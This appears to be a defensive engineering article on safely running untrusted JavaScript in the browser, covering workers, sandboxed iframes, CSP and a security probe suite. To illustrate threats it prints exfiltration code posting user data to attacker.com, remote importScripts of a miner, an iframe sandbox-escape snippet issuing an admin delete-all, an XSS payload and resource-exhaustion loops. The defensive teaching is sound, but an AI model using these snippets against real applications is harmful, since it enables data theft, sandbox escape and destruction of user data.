A Web Worker Isn't Enough: How to Safely Run Untrusted JavaScript in the Browser

┌─────────────────────────────────────────────────────────────────────────────┐
│                       THE BROWSER ISOLATION SPECTRUM                        │
├───────────────────────────────┬─────────────────────────────────────────────┤
│   PERFORMANCE ISOLATION       │              SECURITY ISOLATION             │
│   (What Web Workers Provide)  │       (What Untrusted Code Requires)        │
├───────────────────────────────┼─────────────────────────────────────────────┤
│ • Background thread execution │ • Origin boundary (cannot touch app state)  │
│ • Unblocked UI event loop     │ • Network quarantine (cannot exfiltrate)   │
│ • Watchdog loop termination   │ • Capability stripping (no IndexedDB/APIs) │
│ • Prevents browser tab freeze │ • Memory & output sanitization              │
└───────────────────────────────┴─────────────────────────────────────────────┘

// host-application.js
const worker = new Worker('/workers/runner.js');

worker.postMessage({ code: userSubmittedCode });

worker.onmessage = (event) => {
  console.log('Result from worker:', event.data);
};

// Malicious snippet
while (true) {
  // Consumes 100% of the worker thread's CPU
}

// Watchdog timer on the host
const WATCHDOG_TIMEOUT_MS = 2000;

const watchdog = setTimeout(() => {
  console.warn('Execution exceeded budget. Terminating worker.');
  worker.terminate(); // Immediately halts the thread and destroys the scope
}, WATCHDOG_TIMEOUT_MS);

┌─────────────────────────────────────────────────────────────────────────────┐
│                    THE SAME-ORIGIN WORKER TRAP                              │
│                                                                             │
│   Host Document: https://app.example.com/workspace                          │
│         │                                                                   │
│         └── spawns ──> Worker: https://app.example.com/worker.js            │
│                              │                                              │
│                              ├── fetch('/api/private-data')                 │
│                              │   [Sends cookies! Reads auth response!]      │
│                              │                                              │
│                              ├── indexedDB.open('AppDatabase')              │
│                              │   [Full read/write access to local data!]    │
│                              │                                              │
│                              └── importScripts('https://evil.com/x.js')     │
│                                  [Loads and runs unvetted remote scripts!]  │
└─────────────────────────────────────────────────────────────────────────────┘

// Executing inside untrusted worker
fetch('/api/user/profile')
  .then(res => res.json())
  .then(sensitiveData => {
    // Exfiltrate to attacker server
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify(sensitiveData)
    });
  });

// Reading host app's IndexedDB from worker
const req = indexedDB.open('offline_workspace_data', 1);
req.onsuccess = (e) => {
  const db = e.target.result;
  const tx = db.transaction('documents', 'readonly');
  const store = tx.objectStore('documents');
  store.getAll().onsuccess = (evt) => {
    console.log('Stolen offline documents:', evt.target.result);
  };
};

// Loading remote exploit payloads into the worker
importScripts('https://cdn.attacker.com/advanced-crypto-miner.js');

<iframe src="sandbox.html" sandbox="allow-scripts"></iframe>

<!-- CATASTROPHIC SECURITY VULNERABILITY -->
<iframe src="/sandbox-runner.html" sandbox="allow-scripts allow-same-origin"></iframe>

// Inside the iframe with allow-scripts allow-same-origin
// 1. Script has same origin as parent -> Can access window.parent
const parentDoc = window.parent.document;

// 2. Locate its own iframe element in the parent DOM
const myIframe = parentDoc.querySelector('iframe');

// 3. Strip the sandbox attribute
myIframe.removeAttribute('sandbox');

// 4. Directly execute code in the parent context
window.parent.eval("fetch('/api/admin/delete-all', { method: 'POST' })");

// Dynamic evaluation primitives
eval(userCode);
new Function(userCode)();
setTimeout(userCode, 0);

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' 
is not an allowed source of script in the following Content Security Policy directive: "script-src 'self'".

# EXTREMELY DANGEROUS: Relaxing the host application
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval';

# Sandbox Document Headers (served from sandbox.yourcompany-usercontent.com)
Content-Security-Policy: 
  default-src 'none';
  script-src 'unsafe-eval' 'unsafe-inline';
  connect-src 'none';
  style-src 'unsafe-inline';
  img-src data:;

Content-Security-Policy: default-src 'self'; script-src 'self' 'wasm-unsafe-eval';

┌─────────────────────────────────────────────────────────────────────────────┐
│                   THE PATHUBS UNTRUSTED CODE BOUNDARY                       │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  [ HOST APPLICATION: https://app.pathubs.com ] (Trusted Origin)             │
│        │                                                                    │
│        │ 1. Execution Request (Strict JSON: { id, code, timeoutMs })        │
│        ▼                                                                    │
│  [ SECURITY CONTROLLER & SANITIZER ]                                        │
│        │                                                                    │
│        │ 2. postMessage() with structured payload                           │
│        ▼                                                                    │
│  [ ISOLATED IFRAME: sandbox="allow-scripts" ] (Opaque / Null Origin)        │
│    ├── Dedicated CSP: connect-src 'none'; default-src 'none';               │
│    │                                                                        │
│    │ 3. Spawns ephemeral worker from Blob URL                               │
│    ▼                                                                        │
│  [ DEDICATED WEB WORKER ] (Off Main Thread)                                 │
│    ├── Executes user code                                                   │
│    ├── Watchdog timer enforces execution budget                             │
│    └── Captures console.log / returns calculated result                     │
│        │                                                                    │
│        │ 4. postMessage({ id, status: 'success', result })                  │
│        ▼                                                                    │
│  [ HOST RESULT RECEIVER ]                                                   │
│    ├── Verifies source window & message schema                              │
│    ├── Sanitizes returned text / formatting                                 │
│    └── Renders safely via textContent (Zero raw innerHTML)                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

// Standard postMessage handler
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-domain.com') {
    return; // Reject untrusted sender
  }
  processData(event.data);
});

// DANGEROUS: Does NOT prove message came from YOUR sandbox!
if (event.origin === 'null') {
  // Vulnerable to messages sent by any third-party malicious iframe on the page!
}

// host-controller.ts
class SecureSandboxManager {
  private iframe: HTMLIFrameElement | null = null;
  private pendingRequests = new Map<string, {
    resolve: (val: unknown) => void;
    reject: (err: Error) => void;
    timer: ReturnType<typeof setTimeout>;
  }>();

  constructor(iframeElement: HTMLIFrameElement) {
    this.iframe = iframeElement;
    window.addEventListener('message', this.handleMessage.bind(this));
  }

  private handleMessage(event: MessageEvent) {
    // 1. Verify that the message originated precisely from our sandbox iframe
    if (!this.iframe || event.source !== this.iframe.contentWindow) {
      return; // Reject messages from other windows or frames
    }

    // 2. Validate strict schema
    const data = event.data;
    if (!data || typeof data !== 'object' || typeof data.id !== 'string') {
      console.warn('Malformed message received from sandbox. Dropping.');
      return;
    }

    const pending = this.pendingRequests.get(data.id);
    if (!pending) {
      return; // Stale, timed-out, or forged request ID
    }

    // Clear watchdog timer
    clearTimeout(pending.timer);
    this.pendingRequests.delete(data.id);

    // 3. Handle response based on explicit type
    if (data.type === 'EXECUTION_SUCCESS') {
      pending.resolve(data.payload);
    } else if (data.type === 'EXECUTION_ERROR') {
      pending.reject(new Error(String(data.error)));
    } else {
      pending.reject(new Error('Unknown message type received'));
    }
  }

  public execute(code: string, timeoutMs: number = 2000): Promise<unknown> {
    const id = crypto.randomUUID();

    return new Promise((resolve, reject) => {
      const timer = setTimeout(() => {
        this.pendingRequests.delete(id);
        this.recycleSandbox(); // Destroy and restart sandbox on hard timeout
        reject(new Error(`Execution timed out after ${timeoutMs}ms`));
      }, timeoutMs);

      this.pendingRequests.set(id, { resolve, reject, timer });

      // Post code to sandbox iframe
      this.iframe?.contentWindow?.postMessage(
        { id, type: 'EXECUTE_CODE', code },
        '*' // Target origin is '*' because sandbox has opaque origin 'null'
      );
    });
  }

  private recycleSandbox() {
    // Teardown and rebuild iframe on timeout or severe error
    console.info('Recycling unresponsive sandbox iframe...');
    // Implementation of iframe re-initialization
  }
}

┌─────────────────────────────────────────────────────────────────────────────┐
│                   TRI-LAYER NETWORK QUARANTINE ARCHITECTURE                 │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Layer 1: Content Security Policy (Browser-Enforced)                        │
│  Header: Content-Security-Policy: default-src 'none'; connect-src 'none';   │
│  -> Blocks fetch(), XMLHttpRequest, WebSocket, and EventSource.             │
│                                                                             │
│  Layer 2: Environment Neutralization (Scope-Enforced)                       │
│  Inside Worker: delete self.fetch; delete self.XMLHttpRequest;              │
│  delete self.WebSocket; delete self.importScripts;                          │
│  -> Removes network constructors before evaluating user code.               │
│                                                                             │
│  Layer 3: Cross-Origin Isolation (Network Credential Guard)                 │
│  Host sandbox on separate apex domain: https://sandbox-usercontent.com      │
│  -> Ensures no ambient credentials exist even if a request were made.       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

// CPU exhaustion
while (true) {}

// The host timer fires independently on the main thread
setTimeout(() => {
  worker.terminate(); // Browser forcefully aborts worker execution
}, 2000);

// Microtask queue flooding
function flood() {
  Promise.resolve().then(flood);
}
flood();

// Heap exhaustion attack
const chunks = [];
while (true) {
  chunks.push(new Uint8Array(1024 * 1024 * 50)); // 50 MB per iteration
}

// CATASTROPHIC VULNERABILITY IN THE HOST APPLICATION
worker.onmessage = (event) => {
  const result = event.data.result;
  // Attacker returned: "<img src=x onerror=alert(document.cookie)>"
  outputContainer.innerHTML = result; // DIRECT XSS IN HOST DOM!
};

┌─────────────────────────────────────────────────────────────────────────────┐
│                    THE OUTPUT SANITIZATION PIPELINE                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  [ Untrusted Sandbox Output ]                                               │
│        │                                                                    │
│        ▼                                                                    │
│  Is the output pure text/console logs?                                      │
│        ├── YES ──> Render using .textContent or secure preformatted elements│
│        │                                                                    │
│        └── NO (Requires HTML/DOM preview)                                   │
│              │                                                              │
│              ▼                                                              │
│        [ Dedicated Preview Sandbox ]                                        │
│        • Render inside an isolated, cross-origin <iframe>                   │
│        • Enforce sandbox="allow-scripts" on unprivileged domain             │
│        • Never evaluate inside the parent application DOM                   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <!-- Ultra-strict CSP: Zero outbound network, dynamic evaluation permitted only here -->
  <meta http-equiv="Content-Security-Policy" 
        content="default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' blob:; connect-src 'none';">
  <title>Isolated Sandbox Runner</title>
</head>
<body>
  <script>
    // Worker script as an inline string to avoid external script loading
    const WORKER_CODE = `
      // Strip dangerous capabilities from worker global scope
      delete self.fetch;
      delete self.XMLHttpRequest;
      delete self.WebSocket;
      delete self.EventSource;
      delete self.importScripts;

      self.onmessage = function(e) {
        const { id, code } = e.data;
        const logs = [];

        // Intercept console.log safely
        const originalLog = console.log;
        console.log = function(...args) {
          logs.push(args.map(arg => {
            try {
              return typeof arg === 'object' ? JSON.stringify(arg) : String(arg);
            } catch (err) {
              return '[Unserializable Object]';
            }
          }).join(' '));
        };

        try {
          // Execute untrusted code via Function constructor
          const executeFn = new Function(code);
          const rawResult = executeFn();
          
          let serializedResult;
          try {
            serializedResult = typeof rawResult === 'object' ? JSON.stringify(rawResult) : String(rawResult);
          } catch(e) {
            serializedResult = '[Unserializable Result]';
          }

          self.postMessage({
            id: id,
            type: 'EXECUTION_SUCCESS',
            result: serializedResult,
            logs: logs
          });
        } catch (err) {
          self.postMessage({
            id: id,
            type: 'EXECUTION_ERROR',
            error: err.name + ': ' + err.message,
            logs: logs
          });
        } finally {
          console.log = originalLog;
        }
      };
    `;

    let activeWorker = null;
    const blob = new Blob([WORKER_CODE], { type: 'application/javascript' });
    const workerUrl = URL.createObjectURL(blob);

    function getOrCreateWorker() {
      if (!activeWorker) {
        activeWorker = new Worker(workerUrl);
        activeWorker.onmessage = function(e) {
          // Relay message back to parent window
          window.parent.postMessage(e.data, '*');
        };
      }
      return activeWorker;
    }

    // Listen for execution commands from the host application
    window.addEventListener('message', function(e) {
      if (e.data && e.data.type === 'EXECUTE') {
        const worker = getOrCreateWorker();
        worker.postMessage({ id: e.data.id, code: e.data.code });
      } else if (e.data && e.data.type === 'TERMINATE') {
        if (activeWorker) {
          activeWorker.terminate();
          activeWorker = null;
        }
      }
    });
  </script>
</body>
</html>

export interface SandboxExecutionResult {
  result: string;
  logs: string[];
  executionTimeMs: number;
}

export class HostSandboxController {
  private iframe: HTMLIFrameElement;
  private pending = new Map<string, {
    resolve: (val: SandboxExecutionResult) => void;
    reject: (err: Error) => void;
    startTime: number;
    timer: ReturnType<typeof setTimeout>;
  }>();

  constructor(sandboxUrl: string, container: HTMLElement) {
    this.iframe = document.createElement('iframe');
    // Strict sandbox attributes: Allow scripts, OMIT allow-same-origin!
    this.iframe.setAttribute('sandbox', 'allow-scripts');
    this.iframe.style.display = 'none';
    this.iframe.src = sandboxUrl;

    container.appendChild(this.iframe);
    window.addEventListener('message', this.handleMessage.bind(this));
  }

  private handleMessage(event: MessageEvent): void {
    // 1. Strict source validation
    if (event.source !== this.iframe.contentWindow) {
      return;
    }

    const data = event.data;
    if (!data || typeof data.id !== 'string') return;

    const request = this.pending.get(data.id);
    if (!request) return;

    clearTimeout(request.timer);
    this.pending.delete(data.id);

    const executionTimeMs = performance.now() - request.startTime;

    if (data.type === 'EXECUTION_SUCCESS') {
      request.resolve({
        result: data.result,
        logs: Array.isArray(data.logs) ? data.logs : [],
        executionTimeMs
      });
    } else {
      request.reject(new Error(data.error || 'Execution failed'));
    }
  }

  public async runCode(code: string, timeoutMs: number = 2000): Promise<SandboxExecutionResult> {
    const id = crypto.randomUUID();

    return new Promise((resolve, reject) => {
      const timer = setTimeout(() => {
        // Enforce hard termination
        this.iframe.contentWindow?.postMessage({ type: 'TERMINATE' }, '*');
        this.pending.delete(id);
        reject(new Error(`Execution timed out after ${timeoutMs}ms`));
      }, timeoutMs);

      this.pending.set(id, {
        resolve,
        reject,
        startTime: performance.now(),
        timer
      });

      this.iframe.contentWindow?.postMessage({
        id,
        type: 'EXECUTE',
        code
      }, '*');
    });
  }

  public destroy(): void {
    window.removeEventListener('message', this.handleMessage.bind(this));
    this.iframe.remove();
  }
}

┌─────────────────────────────────────────────────────────────────────────────┐
│                    WASM-BASED QUICKJS SANDBOX ARCHITECTURE                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  [ Browser Native Runtime (V8 / SpiderMonkey) ]                             │
│        │                                                                    │
│        ├── Loads QuickJS WebAssembly Module (.wasm)                         │
│        │                                                                    │
│        └── [ Linear WASM Memory Buffer (e.g. 16 MB heap) ]                 │
│                  │                                                          │
│                  ├── [ QuickJS Bytecode Engine & Parser ]                   │
│                  │         │                                                │
│                  │         └── Executes user code: `const x = 10 + 20;`     │
│                  │                                                          │
│                  └── ZERO BROWSER APIS EXIST HERE:                          │
│                      • No window, document, or DOM                          │
│                      • No fetch(), XMLHttpRequest, or WebSocket             │
│                      • No IndexedDB, CacheStorage, or cookies               │
│                      • No V8 JIT compiler side-channels                     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

                                  [ User Submits Code ]
                                            │
                                            ▼
                           Is the language pure JavaScript?
                                      │           │
                                     YES          NO ──> [ SERVER-SIDE MICROVM ]
                                      │
                                      ▼
                        Does it require npm packages or
                        persistent POSIX filesystem?
                                      │           │
                                     NO          YES ──> [ SERVER-SIDE MICROVM ]
                                      │
                                      ▼
                        Does it require external network
                        access to private/arbitrary APIs?
                                      │           │
                                     NO          YES ──> [ SERVER-SIDE MICROVM ]
                                      │
                                      ▼
                        [ BROWSER ISOLATED SANDBOX ]
                        (Cross-Origin iframe + Worker + CSP)

// sandbox-security-test-suite.ts
export const SECURITY_AUDIT_PROBES = [
  {
    name: "Probe 1: Infinite Loop Denial of Service",
    code: "while(true){}",
    expectedOutcome: "Host watchdog triggers termination within 2000ms; UI remains responsive."
  },
  {
    name: "Probe 2: Parent DOM Access",
    code: "window.parent.document.body.innerHTML = 'HACKED';",
    expectedOutcome: "Throws SecurityError: Blocked a frame with origin 'null' from accessing a cross-origin frame."
  },
  {
    name: "Probe 3: Top Navigation Hijack",
    code: "window.top.location = 'https://attacker.com';",
    expectedOutcome: "Throws DOMException: Blocked top-level navigation."
  },
  {
    name: "Probe 4: Ambient Credential Fetch",
    code: "fetch('/api/user/credentials').then(r => r.json());",
    expectedOutcome: "Blocked by CSP (connect-src 'none') or fetch is undefined."
  },
  {
    name: "Probe 5: IndexedDB Exfiltration",
    code: "indexedDB.open('app_database');",
    expectedOutcome: "Throws SecurityError: The operation is insecure in an opaque origin context."
  },
  {
    name: "Probe 6: Remote Script Injection",
    code: "importScripts('https://attacker.com/payload.js');",
    expectedOutcome: "Blocked by CSP or importScripts is deleted/undefined."
  },
  {
    name: "Probe 7: Cookie Inspection",
    code: "const c = document.cookie; return c;",
    expectedOutcome: "document is undefined or document.cookie throws SecurityError."
  },
  {
    name: "Probe 8: Storage Pollution",
    code: "localStorage.setItem('compromised', 'true');",
    expectedOutcome: "localStorage is undefined inside worker context."
  },
  {
    name: "Probe 9: Malicious HTML Return Payload",
    code: "return '<img src=x onerror=alert(1)>';",
    expectedOutcome: "Host renders payload safely via .textContent; alert() never fires."
  },
  {
    name: "Probe 10: Prototype Pollution Probe",
    code: "Object.prototype.polluted = true; return {};",
    expectedOutcome: "Host Object.prototype remains clean; pollution is confined to sandbox."
  }
];